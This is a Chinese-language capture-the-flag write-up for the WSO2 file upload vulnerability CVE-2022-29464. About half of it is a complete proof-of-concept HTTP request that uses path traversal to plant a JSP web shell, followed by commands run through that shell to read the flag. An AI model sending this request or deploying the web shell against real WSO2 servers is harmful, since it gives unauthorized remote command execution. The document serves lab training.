简介
WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
这关漏洞已经国家漏洞平台上公布了,所以我们可以用网上流传的poc来进行攻击。
正文
首先进入靶场,发现是一个登录界面,那么首先尝试一下登录,弱口令发现没有任何效果,又尝试忘记密码,发现还是没什么用,想了半天还是没有头绪,只好去看网上的poc。
学了一波归来。
第一步直接抓包
那么就直接开始抓包。登录界面刷新一下就行。
我们抓包的目的是为了获取这里面的host和accept,拿到这两个数据后。那么就可以直接上poc了。
直接上poc
POST /fileupload/toolsAny HTTP/2
Host: xxxxxxx
Accept: xxxx
Accept-Encoding: gzip, deflate
Content-Length: 898
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/huahua.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/huahua.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--
注意:
我们只需要把host和accept这两个参数换成自己抓包获取的参数就可以了,然后放入重发器进行重发就ok了。
可能出现的问题
注意在我们的回显包里面一定要出现这窜数字。如果没有这串数字则说明上传没有成功,那么就可能是poc出现的问题。没有出现数字,就算状态显示200也是没办法访问到的!!!!
出现了这串数字,那么我们就可以直接访问
https://eci-2zea998a22tk6l15whsz.cloudeci1.ichunqiu.com:9443/authenticationendpoint/huahua.jsp
熟悉的命令执行
正常情况下会出现这个框,然后我们就可以开始我们熟悉的命令执行语句了。
先来个ls发现没有发现,再看看根目录ls /发现flag文件。
结束
那么就直接cat /flag得到flag结束这关靶场。
总结
这个靶场可能出现的问题就是在poc的找寻上,我找了很多的poc发现都没办法出现那串数字,只会出现200但是这是没有用的,一定要出现数字才算成功。